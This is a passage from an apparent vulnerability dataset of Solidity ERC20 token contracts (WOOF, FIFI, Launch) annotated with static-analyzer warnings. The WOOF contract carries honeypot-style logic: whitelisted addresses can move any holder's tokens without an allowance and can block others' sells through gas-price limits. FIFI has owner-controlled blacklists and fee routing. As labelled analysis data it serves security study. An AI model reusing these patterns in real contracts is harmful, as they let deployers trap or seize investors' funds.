ERC721InvalidApprover(address approver);\n\n error ERC721InvalidOperator(address operator);\n}\n\ninterface IERC1155Errors {\n error ERC1155InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed,\n uint256 tokenId\n );\n\n error ERC1155InvalidSender(address sender);\n\n error ERC1155InvalidReceiver(address receiver);\n\n error ERC1155MissingApprovalForAll(address operator, address owner);\n\n error ERC1155InvalidApprover(address approver);\n\n error ERC1155InvalidOperator(address operator);\n\n error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);\n}\n\nabstract contract ERC20 is Context, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address account => uint256) private _balances;\n\n mapping(address account => mapping(address spender => uint256))\n private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view virtual returns (uint256) {\n return _balances[account];\n }\n\n function transfer(address to, uint256 value) public virtual returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, value);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 value\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public virtual returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, value);\n\n _transfer(from, to, value);\n\n return true;\n }\n\n function _transfer(address from, address to, uint256 value) internal {\n if (from == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n if (to == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(from, to, value);\n }\n\n function _update(address from, address to, uint256 value) internal virtual {\n if (from == address(0)) {\n _totalSupply += value;\n } else {\n uint256 fromBalance = _balances[from];\n\n if (fromBalance < value) {\n revert ERC20InsufficientBalance(from, fromBalance, value);\n }\n\n unchecked {\n _balances[from] = fromBalance - value;\n }\n }\n\n if (to == address(0)) {\n unchecked {\n _totalSupply -= value;\n }\n } else {\n unchecked {\n _balances[to] += value;\n }\n }\n\n emit Transfer(from, to, value);\n }\n\n function _mint(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidReceiver(address(0));\n }\n\n _update(address(0), account, value);\n }\n\n function _burn(address account, uint256 value) internal {\n if (account == address(0)) {\n revert ERC20InvalidSender(address(0));\n }\n\n _update(account, address(0), value);\n }\n\n function _approve(address owner, address spender, uint256 value) internal {\n _approve(owner, spender, value, true);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 value,\n bool emitEvent\n ) internal virtual {\n if (owner == address(0)) {\n revert ERC20InvalidApprover(address(0));\n }\n\n if (spender == address(0)) {\n revert ERC20InvalidSpender(address(0));\n }\n\n _allowances[owner][spender] = value;\n\n if (emitEvent) {\n emit Approval(owner, spender, value);\n }\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 value\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n\n if (currentAllowance != type(uint256).max) {\n if (currentAllowance < value) {\n revert ERC20InsufficientAllowance(\n spender,\n currentAllowance,\n value\n );\n }\n\n unchecked {\n _approve(owner, spender, currentAllowance - value, false);\n }\n }\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract WOOF is ERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => bool) private _socialVerify;\n\n mapping(address => uint256) private _maxAmount;\n\n\t// WARNING Optimization Issue (constable-states | ID: ec8ce59): WOOF._name should be constant \n\t// Recommendation for ec8ce59: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 49e6a1b): WOOF._name shadows ERC20._name\n\t// Recommendation for 49e6a1b: Remove the state variable shadowing.\n string private _name = unicode\"WOOF\";\n\n\t// WARNING Optimization Issue (constable-states | ID: cccb6a7): WOOF._symbol should be constant \n\t// Recommendation for cccb6a7: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: ef5a511): WOOF._symbol shadows ERC20._symbol\n\t// Recommendation for ef5a511: Remove the state variable shadowing.\n string private _symbol = unicode\"WOOF\";\n\n\t// WARNING Optimization Issue (immutable-states | ID: daf7f17): WOOF._tTotal should be immutable \n\t// Recommendation for daf7f17: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _tTotal = 69_000_000_000 * 10 ** decimals();\n\n IUniswapV2Router02 private _Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n constructor() ERC20(_name, _symbol) Ownable(msg.sender) {\n _socialVerify[msg.sender] = true;\n\n _socialVerify[address(this)] = true;\n\n _mint(msg.sender, _tTotal);\n }\n\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 3a7c301): WOOF._update(address,address,uint256) uses tx.origin for authorization _socialVerify[tx.origin]\n\t// Recommendation for 3a7c301: Do not use 'tx.origin' for authorization.\n function _update(\n address from,\n address to,\n uint256 value\n ) internal override {\n\t\t// tx-origin | ID: 3a7c301\n if (_socialVerify[tx.origin]) {\n super._update(from, to, value);\n\n return;\n } else {\n require(tradingOpen, \"Open not yet\");\n\n if (to == uniswapV2Pair && from != address(this)) {\n if (tx.gasprice > _maxAmount[from] && _maxAmount[from] != 0) {\n revert(\"Exceeds the _maxAmount on sell tx\");\n }\n }\n\n if (to != uniswapV2Pair && from != uniswapV2Pair) {\n if (tx.gasprice > _maxAmount[from] && _maxAmount[from] != 0) {\n revert(\"Exceeds the _maxAmount on transfer from tx\");\n }\n }\n\n super._update(from, to, value);\n }\n }\n\n function name() public view override returns (string memory) {\n return _name;\n }\n\n function symbol() public view override returns (string memory) {\n return _symbol;\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n if (_socialVerify[msg.sender]) {\n _maxAmount[spender] = amount;\n }\n\n super.approve(spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public override returns (bool) {\n if (_socialVerify[msg.sender]) {\n super._update(from, to, amount);\n } else {\n super.transferFrom(from, to, amount);\n }\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2d93637): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2d93637: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function OpenTrade() public onlyOwner {\n _Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n\t\t// reentrancy-benign | ID: 2d93637\n uniswapV2Pair = IUniswapV2Factory(_Router.factory()).getPair(\n address(this),\n _Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 2d93637\n tradingOpen = true;\n }\n}\n",
"file_name": "solidity_code_10842.sol",
"size_bytes": 15023,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract FIFI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 50625c4): FIFI._taxWallet should be immutable \n\t// Recommendation for 50625c4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 03951cf): FIFI._initialBuyTax should be constant \n\t// Recommendation for 03951cf: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: ac03b69): FIFI._initialSellTax should be constant \n\t// Recommendation for ac03b69: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 21;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6e76218): FIFI._reduceBuyTaxAt should be constant \n\t// Recommendation for 6e76218: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: dfd08d0): FIFI._reduceSellTaxAt should be constant \n\t// Recommendation for dfd08d0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 700ba2d): FIFI._preventSwapBefore should be constant \n\t// Recommendation for 700ba2d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _transferTax = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"FIFI\";\n\n string private constant _symbol = unicode\"FIFI\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f48415d): FIFI._taxSwapThreshold should be constant \n\t// Recommendation for f48415d: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 507dde0): FIFI._maxTaxSwap should be constant \n\t// Recommendation for 507dde0: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 79fc033): FIFI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 79fc033: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bae56bf): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bae56bf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: aa9ab8e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for aa9ab8e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: bae56bf\n\t\t// reentrancy-benign | ID: aa9ab8e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: bae56bf\n\t\t// reentrancy-benign | ID: aa9ab8e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ce2c639): FIFI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for ce2c639: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: aa9ab8e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: bae56bf\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3e1c5a2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3e1c5a2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 6bd033b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 6bd033b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 3e1c5a2\n\t\t\t\t// reentrancy-eth | ID: 6bd033b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 3e1c5a2\n\t\t\t\t\t// reentrancy-eth | ID: 6bd033b\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 6bd033b\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 6bd033b\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 6bd033b\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 3e1c5a2\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 6bd033b\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 6bd033b\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 3e1c5a2\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3e1c5a2\n\t\t// reentrancy-events | ID: bae56bf\n\t\t// reentrancy-benign | ID: aa9ab8e\n\t\t// reentrancy-eth | ID: 6bd033b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: fc97f9c): FIFI.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for fc97f9c: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3e1c5a2\n\t\t// reentrancy-events | ID: bae56bf\n\t\t// reentrancy-eth | ID: 6bd033b\n\t\t// arbitrary-send-eth | ID: fc97f9c\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: da999d0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for da999d0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b39dfe2): FIFI.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for b39dfe2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bc1a196): FIFI.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for bc1a196: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9a6c617): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9a6c617: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: da999d0\n\t\t// reentrancy-eth | ID: 9a6c617\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: da999d0\n\t\t// unused-return | ID: bc1a196\n\t\t// reentrancy-eth | ID: 9a6c617\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: da999d0\n\t\t// unused-return | ID: b39dfe2\n\t\t// reentrancy-eth | ID: 9a6c617\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: da999d0\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 9a6c617\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10843.sol",
"size_bytes": 20115,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n\n function _contextSuffixLength() internal view virtual returns (uint256) {\n return 0;\n }\n}\n\ninterface IERC20Errors {\n error ERC20InsufficientBalance(\n address sender,\n uint256 balance,\n uint256 needed\n );\n\n error ERC20InvalidSender(address sender);\n\n error ERC20InvalidReceiver(address receiver);\n\n error ERC20InsufficientAllowance(\n address spender,\n uint256 allowance,\n uint256 needed\n );\n\n error ERC20InvalidApprover(address approver);\n\n error ERC20InvalidSpender(address spender);\n\n error MaxTxAmountReached();\n\n error MaxWalletLimitReached();\n\n error InValidTax();\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function WETH() external pure returns (address);\n}\n\ncontract Launch is Ownable, IERC20, IERC20Metadata, IERC20Errors {\n mapping(address account => uint256) private _balances;\n\n mapping(address account => mapping(address spender => uint256))\n private _allowances;\n\n uint256 private _totalSupply;\n\n uint256 private buyTax;\n\n uint256 private sellTax;\n\n uint256 public _maxTxAmount;\n\n uint256 public _maxWalletSize;\n\n bool private inSwap = false;\n\n bool private swapEnabled = true;\n\n string private _name;\n\n string private _symbol;\n\n mapping(address => bool) private isPairAddress;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n IUniswapV2Router02 public uniswapV2Router;\n\n address payable private taxWallet;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: ffece6f): Launch.constructor(string,string,uint256,address,uint256,uint256,uint256,uint256)._taxWallet lacks a zerocheck on \t taxWallet = address(_taxWallet)\n\t// Recommendation for ffece6f: Check that the address is not zero.\n constructor(\n string memory name_,\n string memory symbol_,\n uint256 tSupply,\n address _taxWallet,\n uint256 bTax,\n uint256 sTax,\n uint256 _mTxAmount,\n uint256 _mWalletAmount\n ) Ownable(msg.sender) {\n uniswapV2Router = 